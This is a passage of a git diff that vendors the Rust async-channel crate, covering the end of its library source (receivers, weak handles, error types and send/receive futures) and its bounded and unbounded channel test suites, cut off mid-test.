async_channel::unbounded; + /// + /// let (s, r) = unbounded::<()>(); + /// assert_eq!(r.receiver_count(), 1); + /// + /// let r2 = r.clone(); + /// assert_eq!(r.receiver_count(), 2); + /// # }); + /// ``` + pub fn receiver_count(&self) -> usize { + self.channel.receiver_count.load(Ordering::SeqCst) + } + + /// Returns the number of senders for the channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded::<()>(); + /// assert_eq!(r.sender_count(), 1); + /// + /// let s2 = s.clone(); + /// assert_eq!(r.sender_count(), 2); + /// # }); + /// ``` + pub fn sender_count(&self) -> usize { + self.channel.sender_count.load(Ordering::SeqCst) + } + + /// Downgrade the receiver to a weak reference. + pub fn downgrade(&self) -> WeakReceiver { + WeakReceiver { + channel: self.channel.clone(), + } + } + + /// Returns whether the receivers belong to the same channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded::<()>(); + /// let r2 = r.clone(); + /// + /// assert!(r.same_channel(&r2)); + /// # }); + /// ``` + pub fn same_channel(&self, other: &Receiver) -> bool { + Arc::ptr_eq(&self.channel, &other.channel) + } +} + +impl fmt::Debug for Receiver { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Receiver {{ .. }}") + } +} + +impl Clone for Receiver { + fn clone(&self) -> Receiver { + let count = self.channel.receiver_count.fetch_add(1, Ordering::Relaxed); + + // Make sure the count never overflows, even if lots of receiver clones are leaked. + if count > usize::MAX / 2 { + abort(); + } + + Receiver { + channel: self.channel.clone(), + listener: None, + _pin: PhantomPinned, + } + } +} + +impl Stream for Receiver { + type Item = T; + + fn poll_next(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + // If this stream is listening for events, first wait for a notification. + { + let this = self.as_mut().project(); + if let Some(listener) = this.listener.as_mut() { + ready!(Pin::new(listener).poll(cx)); + *this.listener = None; + } + } + + loop { + // Attempt to receive a message. + match self.try_recv() { + Ok(msg) => { + // The stream is not blocked on an event - drop the listener. + let this = self.as_mut().project(); + *this.listener = None; + return Poll::Ready(Some(msg)); + } + Err(TryRecvError::Closed) => { + // The stream is not blocked on an event - drop the listener. + let this = self.as_mut().project(); + *this.listener = None; + return Poll::Ready(None); + } + Err(TryRecvError::Empty) => {} + } + + // Receiving failed - now start listening for notifications or wait for one. + let this = self.as_mut().project(); + if this.listener.is_some() { + // Go back to the outer loop to wait for a notification. + break; + } else { + *this.listener = Some(this.channel.stream_ops.listen()); + } + } + } + } +} + +impl futures_core::stream::FusedStream for Receiver { + fn is_terminated(&self) -> bool { + self.channel.queue.is_closed() && self.channel.queue.is_empty() + } +} + +/// A [`Sender`] that does not prevent the channel from being closed. +/// +/// This is created through the [`Sender::downgrade`] method. In order to use it, it needs +/// to be upgraded into a [`Sender`] through the `upgrade` method. +pub struct WeakSender { + channel: Arc>, +} + +impl WeakSender { + /// Upgrade the [`WeakSender`] into a [`Sender`]. + pub fn upgrade(&self) -> Option> { + if self.channel.queue.is_closed() { + None + } else { + match self.channel.sender_count.fetch_update( + Ordering::Relaxed, + Ordering::Relaxed, + |count| if count == 0 { None } else { Some(count + 1) }, + ) { + Err(_) => None, + Ok(new_value) if new_value > usize::MAX / 2 => { + // Make sure the count never overflows, even if lots of sender clones are leaked. + abort(); + } + Ok(_) => Some(Sender { + channel: self.channel.clone(), + }), + } + } + } +} + +impl Clone for WeakSender { + fn clone(&self) -> Self { + WeakSender { + channel: self.channel.clone(), + } + } +} + +impl fmt::Debug for WeakSender { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "WeakSender {{ .. }}") + } +} + +/// A [`Receiver`] that does not prevent the channel from being closed. +/// +/// This is created through the [`Receiver::downgrade`] method. In order to use it, it needs +/// to be upgraded into a [`Receiver`] through the `upgrade` method. +pub struct WeakReceiver { + channel: Arc>, +} + +impl WeakReceiver { + /// Upgrade the [`WeakReceiver`] into a [`Receiver`]. + pub fn upgrade(&self) -> Option> { + if self.channel.queue.is_closed() { + None + } else { + match self.channel.receiver_count.fetch_update( + Ordering::Relaxed, + Ordering::Relaxed, + |count| if count == 0 { None } else { Some(count + 1) }, + ) { + Err(_) => None, + Ok(new_value) if new_value > usize::MAX / 2 => { + // Make sure the count never overflows, even if lots of receiver clones are leaked. + abort(); + } + Ok(_) => Some(Receiver { + channel: self.channel.clone(), + listener: None, + _pin: PhantomPinned, + }), + } + } + } +} + +impl Clone for WeakReceiver { + fn clone(&self) -> Self { + WeakReceiver { + channel: self.channel.clone(), + } + } +} + +impl fmt::Debug for WeakReceiver { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "WeakReceiver {{ .. }}") + } +} + +/// An error returned from [`Sender::send()`]. +/// +/// Received because the channel is closed. +#[derive(PartialEq, Eq, Clone, Copy)] +pub struct SendError(pub T); + +impl SendError { + /// Unwraps the message that couldn't be sent. + pub fn into_inner(self) -> T { + self.0 + } +} + +#[cfg(feature = "std")] +impl std::error::Error for SendError {} + +impl fmt::Debug for SendError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "SendError(..)") + } +} + +impl fmt::Display for SendError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "sending into a closed channel") + } +} + +/// An error returned from [`Sender::try_send()`]. +#[derive(PartialEq, Eq, Clone, Copy)] +pub enum TrySendError { + /// The channel is full but not closed. + Full(T), + + /// The channel is closed. + Closed(T), +} + +impl TrySendError { + /// Unwraps the message that couldn't be sent. + pub fn into_inner(self) -> T { + match self { + TrySendError::Full(t) => t, + TrySendError::Closed(t) => t, + } + } + + /// Returns `true` if the channel is full but not closed. + pub fn is_full(&self) -> bool { + match self { + TrySendError::Full(_) => true, + TrySendError::Closed(_) => false, + } + } + + /// Returns `true` if the channel is closed. + pub fn is_closed(&self) -> bool { + match self { + TrySendError::Full(_) => false, + TrySendError::Closed(_) => true, + } + } +} + +#[cfg(feature = "std")] +impl std::error::Error for TrySendError {} + +impl fmt::Debug for TrySendError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match *self { + TrySendError::Full(..) => write!(f, "Full(..)"), + TrySendError::Closed(..) => write!(f, "Closed(..)"), + } + } +} + +impl fmt::Display for TrySendError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match *self { + TrySendError::Full(..) => write!(f, "sending into a full channel"), + TrySendError::Closed(..) => write!(f, "sending into a closed channel"), + } + } +} + +/// An error returned from [`Receiver::recv()`]. +/// +/// Received because the channel is empty and closed. +#[derive(PartialEq, Eq, Clone, Copy, Debug)] +pub struct RecvError; + +#[cfg(feature = "std")] +impl std::error::Error for RecvError {} + +impl fmt::Display for RecvError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "receiving from an empty and closed channel") + } +} + +/// An error returned from [`Receiver::try_recv()`]. +#[derive(PartialEq, Eq, Clone, Copy, Debug)] +pub enum TryRecvError { + /// The channel is empty but not closed. + Empty, + + /// The channel is empty and closed. + Closed, +} + +impl TryRecvError { + /// Returns `true` if the channel is empty but not closed. + pub fn is_empty(&self) -> bool { + match self { + TryRecvError::Empty => true, + TryRecvError::Closed => false, + } + } + + /// Returns `true` if the channel is empty and closed. + pub fn is_closed(&self) -> bool { + match self { + TryRecvError::Empty => false, + TryRecvError::Closed => true, + } + } +} + +#[cfg(feature = "std")] +impl std::error::Error for TryRecvError {} + +impl fmt::Display for TryRecvError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match *self { + TryRecvError::Empty => write!(f, "receiving from an empty channel"), + TryRecvError::Closed => write!(f, "receiving from an empty and closed channel"), + } + } +} + +easy_wrapper! { + /// A future returned by [`Sender::send()`]. + #[derive(Debug)] + #[must_use = "futures do nothing unless you `.await` or poll them"] + pub struct Send<'a, T>(SendInner<'a, T> => Result<(), SendError>); + #[cfg(all(feature = "std", not(target_family = "wasm")))] + pub(crate) wait(); +} + +pin_project! { + #[derive(Debug)] + #[project(!Unpin)] + struct SendInner<'a, T> { + // Reference to the original sender. + sender: &'a Sender, + + // The message to send. + msg: Option, + + // Listener waiting on the channel. + listener: Option, + + // Keeping this type `!Unpin` enables future optimizations. + #[pin] + _pin: PhantomPinned + } +} + +impl EventListenerFuture for SendInner<'_, T> { + type Output = Result<(), SendError>; + + /// Run this future with the given `Strategy`. + fn poll_with_strategy<'x, S: Strategy<'x>>( + self: Pin<&mut Self>, + strategy: &mut S, + context: &mut S::Context, + ) -> Poll>> { + let this = self.project(); + + loop { + let msg = this.msg.take().unwrap(); + // Attempt to send a message. + match this.sender.try_send(msg) { + Ok(()) => return Poll::Ready(Ok(())), + Err(TrySendError::Closed(msg)) => return Poll::Ready(Err(SendError(msg))), + Err(TrySendError::Full(m)) => *this.msg = Some(m), + } + + // Sending failed - now start listening for notifications or wait for one. + if this.listener.is_some() { + // Poll using the given strategy + ready!(S::poll(strategy, &mut *this.listener, context)); + } else { + *this.listener = Some(this.sender.channel.send_ops.listen()); + } + } + } +} + +easy_wrapper! { + /// A future returned by [`Receiver::recv()`]. + #[derive(Debug)] + #[must_use = "futures do nothing unless you `.await` or poll them"] + pub struct Recv<'a, T>(RecvInner<'a, T> => Result); + #[cfg(all(feature = "std", not(target_family = "wasm")))] + pub(crate) wait(); +} + +pin_project! { + #[derive(Debug)] + #[project(!Unpin)] + struct RecvInner<'a, T> { + // Reference to the receiver. + receiver: &'a Receiver, + + // Listener waiting on the channel. + listener: Option, + + // Keeping this type `!Unpin` enables future optimizations. + #[pin] + _pin: PhantomPinned + } +} + +impl EventListenerFuture for RecvInner<'_, T> { + type Output = Result; + + /// Run this future with the given `Strategy`. + fn poll_with_strategy<'x, S: Strategy<'x>>( + self: Pin<&mut Self>, + strategy: &mut S, + cx: &mut S::Context, + ) -> Poll> { + let this = self.project(); + + loop { + // Attempt to receive a message. + match this.receiver.try_recv() { + Ok(msg) => return Poll::Ready(Ok(msg)), + Err(TryRecvError::Closed) => return Poll::Ready(Err(RecvError)), + Err(TryRecvError::Empty) => {} + } + + // Receiving failed - now start listening for notifications or wait for one. + if this.listener.is_some() { + // Poll using the given strategy + ready!(S::poll(strategy, &mut *this.listener, cx)); + } else { + *this.listener = Some(this.receiver.channel.recv_ops.listen()); + } + } + } +} + +easy_wrapper! { + /// A future returned by [`Sender::closed()`]. + #[derive(Debug)] + #[must_use = "futures do nothing unless you `.await` or poll them"] + pub struct Closed<'a, T>(ClosedInner<'a, T> => ()); + #[cfg(all(feature = "std", not(target_family = "wasm")))] + pub(crate) wait(); +} + +pin_project! { + #[derive(Debug)] + #[project(!Unpin)] + struct ClosedInner<'a, T> { + // Reference to the sender. + sender: &'a Sender, + + // Listener waiting on the channel. + listener: Option, + + // Keeping this type `!Unpin` enables future optimizations. + #[pin] + _pin: PhantomPinned + } +} + +impl<'a, T> EventListenerFuture for ClosedInner<'a, T> { + type Output = (); + + /// Run this future with the given `Strategy`. + fn poll_with_strategy<'x, S: Strategy<'x>>( + self: Pin<&mut Self>, + strategy: &mut S, + cx: &mut S::Context, + ) -> Poll<()> { + let this = self.project(); + + loop { + // Check if the channel is closed. + if this.sender.is_closed() { + return Poll::Ready(()); + } + + // Not closed - now start listening for notifications or wait for one. + if this.listener.is_some() { + // Poll using the given strategy + ready!(S::poll(strategy, &mut *this.listener, cx)); + } else { + *this.listener = Some(this.sender.channel.closed_ops.listen()); + } + } + } +} + +#[cfg(feature = "std")] +use std::process::abort; + +#[cfg(not(feature = "std"))] +fn abort() -> ! { + struct PanicOnDrop; + + impl Drop for PanicOnDrop { + fn drop(&mut self) { + panic!("Panic while panicking to abort"); + } + } + + let _bomb = PanicOnDrop; + panic!("Panic while panicking to abort") +} diff --git a/lib/malio/async-channel/tests/bounded.rs b/lib/malio/async-channel/tests/bounded.rs new file mode 100644 index 0000000..25b01f0 --- /dev/null +++ b/lib/malio/async-channel/tests/bounded.rs @@ -0,0 +1,552 @@ +#![allow(clippy::bool_assert_comparison, unused_imports)] + +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::thread::sleep; +use std::time::Duration; + +use async_channel::{bounded, RecvError, SendError, TryRecvError, TrySendError}; +use easy_parallel::Parallel; +use futures_lite::{future, prelude::*}; + +#[cfg(target_family = "wasm")] +use wasm_bindgen_test::wasm_bindgen_test as test; + +#[cfg(not(target_family = "wasm"))] +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn smoke() { + let (s, r) = bounded(1); + + future::block_on(s.send(7)).unwrap(); + assert_eq!(r.try_recv(), Ok(7)); + + future::block_on(s.send(8)).unwrap(); + assert_eq!(future::block_on(r.recv()), Ok(8)); + + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); +} + +#[cfg(all(feature = "std", not(target_family = "wasm")))] +#[test] +fn smoke_blocking() { + let (s, r) = bounded(1); + + s.send_blocking(7).unwrap(); + assert_eq!(r.try_recv(), Ok(7)); + + s.send_blocking(8).unwrap(); + assert_eq!(future::block_on(r.recv()), Ok(8)); + + future::block_on(s.send(9)).unwrap(); + assert_eq!(r.recv_blocking(), Ok(9)); + + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); +} + +#[test] +fn capacity() { + for i in 1..10 { + let (s, r) = bounded::<()>(i); + assert_eq!(s.capacity(), Some(i)); + assert_eq!(r.capacity(), Some(i)); + } +} + +#[test] +fn len_empty_full() { + let (s, r) = bounded(2); + + assert_eq!(s.len(), 0); + assert_eq!(s.is_empty(), true); + assert_eq!(s.is_full(), false); + assert_eq!(r.len(), 0); + assert_eq!(r.is_empty(), true); + assert_eq!(r.is_full(), false); + + future::block_on(s.send(())).unwrap(); + + assert_eq!(s.len(), 1); + assert_eq!(s.is_empty(), false); + assert_eq!(s.is_full(), false); + assert_eq!(r.len(), 1); + assert_eq!(r.is_empty(), false); + assert_eq!(r.is_full(), false); + + future::block_on(s.send(())).unwrap(); + + assert_eq!(s.len(), 2); + assert_eq!(s.is_empty(), false); + assert_eq!(s.is_full(), true); + assert_eq!(r.len(), 2); + assert_eq!(r.is_empty(), false); + assert_eq!(r.is_full(), true); + + future::block_on(r.recv()).unwrap(); + + assert_eq!(s.len(), 1); + assert_eq!(s.is_empty(), false); + assert_eq!(s.is_full(), false); + assert_eq!(r.len(), 1); + assert_eq!(r.is_empty(), false); + assert_eq!(r.is_full(), false); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn try_recv() { + let (s, r) = bounded(100); + + Parallel::new() + .add(move || { + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); + sleep(ms(1500)); + assert_eq!(r.try_recv(), Ok(7)); + sleep(ms(500)); + assert_eq!(r.try_recv(), Err(TryRecvError::Closed)); + }) + .add(move || { + sleep(ms(1000)); + future::block_on(s.send(7)).unwrap(); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn recv() { + let (s, r) = bounded(100); + + Parallel::new() + .add(move || { + assert_eq!(future::block_on(r.recv()), Ok(7)); + sleep(ms(1000)); + assert_eq!(future::block_on(r.recv()), Ok(8)); + sleep(ms(1000)); + assert_eq!(future::block_on(r.recv()), Ok(9)); + assert_eq!(future::block_on(r.recv()), Err(RecvError)); + }) + .add(move || { + sleep(ms(1500)); + future::block_on(s.send(7)).unwrap(); + future::block_on(s.send(8)).unwrap(); + future::block_on(s.send(9)).unwrap(); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn try_send() { + let (s, r) = bounded(1); + + Parallel::new() + .add(move || { + assert_eq!(s.try_send(1), Ok(())); + assert_eq!(s.try_send(2), Err(TrySendError::Full(2))); + sleep(ms(1500)); + assert_eq!(s.try_send(3), Ok(())); + sleep(ms(500)); + assert_eq!(s.try_send(4), Err(TrySendError::Closed(4))); + }) + .add(move || { + sleep(ms(1000)); + assert_eq!(r.try_recv(), Ok(1)); + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); + assert_eq!(future::block_on(r.recv()), Ok(3)); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn send() { + let (s, r) = bounded(1); + + Parallel::new() + .add(|| { + future::block_on(s.send(7)).unwrap(); + sleep(ms(1000)); + future::block_on(s.send(8)).unwrap(); + sleep(ms(1000)); + future::block_on(s.send(9)).unwrap(); + sleep(ms(1000)); + future::block_on(s.send(10)).unwrap(); + }) + .add(|| { + sleep(ms(1500)); + assert_eq!(future::block_on(r.recv()), Ok(7)); + assert_eq!(future::block_on(r.recv()), Ok(8)); + assert_eq!(future::block_on(r.recv()), Ok(9)); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn closed() { + let (s, r) = bounded(1); + + Parallel::new() + .add(|| { + future::block_on(s.send(7)).unwrap(); + let before = s.closed(); + let mut before = std::pin::pin!(before); + assert!(future::block_on(future::poll_once(&mut before)).is_none()); + sleep(ms(1000)); + assert_eq!(future::block_on(future::poll_once(before)), Some(())); + assert_eq!(future::block_on(future::poll_once(s.closed())), Some(())); + }) + .add(|| { + assert_eq!(future::block_on(r.recv()), Ok(7)); + sleep(ms(500)); + drop(r); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn force_send() { + let (s, r) = bounded(1); + + Parallel::new() + .add(|| { + s.force_send(7).unwrap(); + sleep(ms(1000)); + s.force_send(8).unwrap(); + sleep(ms(1000)); + s.force_send(9).unwrap(); + sleep(ms(1000)); + s.force_send(10).unwrap(); + }) + .add(|| { + sleep(ms(1500)); + assert_eq!(future::block_on(r.recv()), Ok(8)); + assert_eq!(future::block_on(r.recv()), Ok(9)); + assert_eq!(future::block_on(r.recv()), Ok(10)); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn send_after_close() { + let (s, r) = bounded(100); + + future::block_on(s.send(1)).unwrap(); + future::block_on(s.send(2)).unwrap(); + future::block_on(s.send(3)).unwrap(); + + drop(r); + + assert_eq!(future::block_on(s.send(4)), Err(SendError(4))); + assert_eq!(s.try_send(5), Err(TrySendError::Closed(5))); + assert_eq!(future::block_on(s.send(6)), Err(SendError(6))); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn recv_after_close() { + let (s, r) = bounded(100); + + future::block_on(s.send(1)).unwrap(); + future::block_on(s.send(2)).unwrap(); + future::block_on(s.send(3)).unwrap(); + + drop(s); + + assert_eq!(future::block_on(r.recv()), Ok(1)); + assert_eq!(future::block_on(r.recv()), Ok(2)); + assert_eq!(future::block_on(r.recv()), Ok(3)); + assert_eq!(future::block_on(r.recv()), Err(RecvError)); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn len() { + const COUNT: usize = 25_000; + const CAP: usize = 1000; + + let (s, r) = bounded(CAP); + + assert_eq!(s.len(), 0); + assert_eq!(r.len(), 0); + + for _ in 0..CAP / 10 { + for i in 0..50 { + future::block_on(s.send(i)).unwrap(); + assert_eq!(s.len(), i + 1); + } + + for i in 0..50 { + future::block_on(r.recv()).unwrap(); + assert_eq!(r.len(), 50 - i - 1); + } + } + + assert_eq!(s.len(), 0); + assert_eq!(r.len(), 0); + + for i in 0..CAP { + future::block_on(s.send(i)).unwrap(); + assert_eq!(s.len(), i + 1); + } + + for _ in 0..CAP { + future::block_on(r.recv()).unwrap(); + } + + assert_eq!(s.len(), 0); + assert_eq!(r.len(), 0); + + Parallel::new() + .add(|| { + for i in 0..COUNT { + assert_eq!(future::block_on(r.recv()), Ok(i)); + let len = r.len(); + assert!(len <= CAP); + } + }) + .add(|| { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + let len = s.len(); + assert!(len <= CAP); + } + }) + .run(); + + assert_eq!(s.len(), 0); + assert_eq!(r.len(), 0); +} + +#[test] +fn receiver_count() { + let (s, r) = bounded::<()>(5); + let receiver_clones: Vec<_> = (0..20).map(|_| r.clone()).collect(); + + assert_eq!(s.receiver_count(), 21); + assert_eq!(r.receiver_count(), 21); + + drop(receiver_clones); + + assert_eq!(s.receiver_count(), 1); + assert_eq!(r.receiver_count(), 1); +} + +#[test] +fn sender_count() { + let (s, r) = bounded::<()>(5); + let sender_clones: Vec<_> = (0..20).map(|_| s.clone()).collect(); + + assert_eq!(s.sender_count(), 21); + assert_eq!(r.sender_count(), 21); + + drop(sender_clones); + + assert_eq!(s.receiver_count(), 1); + assert_eq!(r.receiver_count(), 1); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn close_wakes_sender() { + let (s, r) = bounded(1); + + Parallel::new() + .add(move || { + assert_eq!(future::block_on(s.send(())), Ok(())); + assert_eq!(future::block_on(s.send(())), Err(SendError(()))); + }) + .add(move || { + sleep(ms(1000)); + drop(r); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn close_wakes_receiver() { + let (s, r) = bounded::<()>(1); + + Parallel::new() + .add(move || { + assert_eq!(future::block_on(r.recv()), Err(RecvError)); + }) + .add(move || { + sleep(ms(1000)); + drop(s); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn forget_blocked_sender() { + let (s1, r) = bounded(2); + let s2 = s1.clone(); + + Parallel::new() + .add(move || { + assert!(future::block_on(s1.send(3)).is_ok()); + assert!(future::block_on(s1.send(7)).is_ok()); + let s1_fut = s1.send(13); + futures_lite::pin!(s1_fut); + // Poll but keep the future alive. + assert_eq!(future::block_on(future::poll_once(s1_fut)), None); + sleep(ms(500)); + }) + .add(move || { + sleep(ms(100)); + assert!(future::block_on(s2.send(42)).is_ok()); + }) + .add(move || { + sleep(ms(200)); + assert_eq!(future::block_on(r.recv()), Ok(3)); + assert_eq!(future::block_on(r.recv()), Ok(7)); + sleep(ms(100)); + assert_eq!(r.try_recv(), Ok(42)); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn forget_blocked_receiver() { + let (s, r1) = bounded(2); + let r2 = r1.clone(); + + Parallel::new() + .add(move || { + let r1_fut = r1.recv(); + // Poll but keep the future alive. + futures_lite::pin!(r1_fut); + assert_eq!(future::block_on(future::poll_once(&mut r1_fut)), None); + sleep(ms(500)); + }) + .add(move || { + sleep(ms(100)); + assert_eq!(future::block_on(r2.recv()), Ok(3)); + }) + .add(move || { + sleep(ms(200)); + assert!(future::block_on(s.send(3)).is_ok()); + assert!(future::block_on(s.send(7)).is_ok()); + sleep(ms(100)); + assert!(s.try_send(42).is_ok()); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn spsc() { + const COUNT: usize = 100_000; + + let (s, r) = bounded(3); + + Parallel::new() + .add(move || { + for i in 0..COUNT { + assert_eq!(future::block_on(r.recv()), Ok(i)); + } + assert_eq!(future::block_on(r.recv()), Err(RecvError)); + }) + .add(move || { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + } + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn mpmc() { + const COUNT: usize = 25_000; + const THREADS: usize = 4; + + let (s, r) = bounded::(3); + let v = (0..COUNT).map(|_| AtomicUsize::new(0)).collect::>(); + + Parallel::new() + .each(0..THREADS, |_| { + for _ in 0..COUNT { + let n = future::block_on(r.recv()).unwrap(); + v[n].fetch_add(1, Ordering::SeqCst); + } + }) + .each(0..THREADS, |_| { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + } + }) + .run(); + + for c in v { + assert_eq!(c.load(Ordering::SeqCst), THREADS); + } +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn mpmc_stream() { + const COUNT: usize = 25_000; + const THREADS: usize = 4; + + let (s, r) = bounded::(3); + let v = (0..COUNT).map(|_| AtomicUsize::new(0)).collect::>(); + let v = &v; + + Parallel::new() + .each(0..THREADS, { + let r = r; + move |_| { + futures_lite::pin!(r); + for _ in 0..COUNT { + let n = future::block_on(r.next()).unwrap(); + v[n].fetch_add(1, Ordering::SeqCst); + } + } + }) + .each(0..THREADS, |_| { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + } + }) + .run(); + + for c in v { + assert_eq!(c.load(Ordering::SeqCst), THREADS); + } +} + +#[cfg(all(feature = "std", not(target_family = "wasm")))] +#[test] +fn weak() { + let (s, r) = bounded::(3); + + // Create a weak sender/receiver pair. + let (weak_s, weak_r) = (s.downgrade(), r.downgrade()); + + // Upgrade and send. + { + let s = weak_s.upgrade().unwrap(); + s.send_blocking(3).unwrap(); + let r = weak_r.upgrade().unwrap(); + assert_eq!(r.recv_blocking(), Ok(3)); + } + + // Drop the original sender/receiver pair. + drop((s, r)); + + // Try to upgrade again. + { + assert!(weak_s.upgrade().is_none()); + assert!(weak_r.upgrade().is_none()); + } +} diff --git a/lib/malio/async-channel/tests/unbounded.rs b/lib/malio/async-channel/tests/unbounded.rs new file mode 100644 index 0000000..90cb375 --- /dev/null +++ b/lib/malio/async-channel/tests/unbounded.rs @@ -0,0 +1,356 @@ +#![allow(clippy::bool_assert_comparison, unused_imports)] + +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::thread::sleep; +use std::time::Duration; + +use async_channel::{unbounded, RecvError, SendError, TryRecvError, TrySendError}; +use easy_parallel::Parallel; +use futures_lite::{future, prelude::*}; + +#[cfg(target_family = "wasm")] +use wasm_bindgen_test::wasm_bindgen_test as test; + +#[cfg(not(target_family = "wasm"))] +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn smoke() { + let (s, r) = unbounded(); + + s.try_send(7).unwrap(); + assert_eq!(r.try_recv(), Ok(7)); + + future::block_on(s.send(8)).unwrap(); + assert_eq!(future::block_on(r.recv()), Ok(8)); + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); +} + +#[cfg(all(feature = "std", not(target_family = "wasm")))] +#[test] +fn smoke_blocking() { + let (s, r) = unbounded(); + + s.send_blocking(7).unwrap(); + assert_eq!(r.try_recv(), Ok(7)); + + s.send_blocking(8).unwrap(); + assert_eq!(future::block_on(r.recv()), Ok(8)); + + future::block_on(s.send(9)).unwrap(); + assert_eq!(r.recv_blocking(), Ok(9)); + + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); +} + +#[test] +fn capacity() { + let (s, r) = unbounded::<()>(); + assert_eq!(s.capacity(), None); + assert_eq!(r.capacity(), None); +} + +#[test] +fn len_empty_full() { + let (s, r) = unbounded(); + + assert_eq!(s.len(), 0); + assert_eq!(s.is_empty(), true); + assert_eq!(s.is_full(), false); + assert_eq!(r.len(), 0); + assert_eq!(r.is_empty(), true); + assert_eq!(r.is_full(), false); + + future::block_on(s.send(())).unwrap(); + + assert_eq!(s.len(), 1); + assert_eq!(s.is_empty(), false); + assert_eq!(s.is_full(), false); + assert_eq!(r.len(), 1); + assert_eq!(r.is_empty(), false); + assert_eq!(r.is_full(), false); + + future::block_on(r.recv()).unwrap(); + + assert_eq!(s.len(), 0); + assert_eq!(s.is_empty(), true); + assert_eq!(s.is_full(), false); + assert_eq!(r.len(), 0); + assert_eq!(r.is_empty(), true); + assert_eq!(r.is_full(), false); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn try_recv() { + let (s, r) = unbounded(); + + Parallel::new() + .add(move || { + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); + sleep(ms(1500)); + assert_eq!(r.try_recv(), Ok(7)); + sleep(ms(500)); + assert_eq!(r.try_recv(), Err(TryRecvError::Closed)); + }) + .add(move || { + sleep(ms(1000)); + future::block_on(s.send(7)).unwrap(); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn recv() { + let (s, r) = unbounded(); + + Parallel::new() + .add(move || { + assert_eq!(future::block_on(r.recv()), Ok(7)); + sleep(ms(1000)); + assert_eq!(future::block_on(r.recv()), Ok(8)); + sleep(ms(1000)); + assert_eq!(future::block_on(r.recv()), Ok(9)); + assert_eq!(future::block_on(r.recv()), Err(RecvError)); + }) + .add(move || { + sleep(ms(1500)); + future::block_on(s.send(7)).unwrap(); + future::block_on(s.send(8)).unwrap(); + future::block_on(s.send(9)).unwrap(); + }) + .run(); +} + +#[test] +fn try_send() { + let (s, r) = unbounded(); + for i in 0..1000 { + assert_eq!(s.try_send(i), Ok(())); + } + + drop(r); + assert_eq!(s.try_send(777), Err(TrySendError::Closed(777))); +} + +#[test] +fn send() { + let (s, r) = unbounded(); + for i in 0..1000 { + assert_eq!(future::block_on(s.send(i)), Ok(())); + } + + drop(r); + assert_eq!(future::block_on(s.send(777)), Err(SendError(777))); +} + +#[test] +fn send_after_close() { + let (s, r) = unbounded(); + + future::block_on(s.send(1)).unwrap(); + future::block_on(s.send(2)).unwrap(); + future::block_on(s.send(3)).unwrap(); + + drop(r); + + assert_eq!(future::block_on(s.send(4)), Err(SendError(4))); + assert_eq!(s.try_send(5), Err(TrySendError::Closed(5))); +} + +#[test] +fn recv_after_close() { + let (s, r) = unbounded(); + + future::block_on(s.send(1)).unwrap(); + future::block_on(s.send(2)).unwrap(); + future::block_on(s.send(3)).unwrap(); + + drop(s); + + assert_eq!(future::block_on(r.recv()), Ok(1)); + assert_eq!(future::block_on(r.recv()), Ok(2)); + assert_eq!(future::block_on(r.recv()), Ok(3)); + assert_eq!(future::block_on(r.recv()), Err(RecvError)); +} + +#[test] +fn len() { + let (s, r) = unbounded(); + + assert_eq!(s.len(), 0); + assert_eq!(r.len(), 0); + + for i in 0..50 { + future::block_on(s.send(i)).unwrap(); + assert_eq!(s.len(), i + 1); + } + + for i in 0..50 { + future::block_on(r.recv()).unwrap(); + assert_eq!(r.len(), 50 - i - 1); + } + + assert_eq!(s.len(), 0); + assert_eq!(r.len(), 0); +} + +#[test] +fn receiver_count() { + let (s, r) = 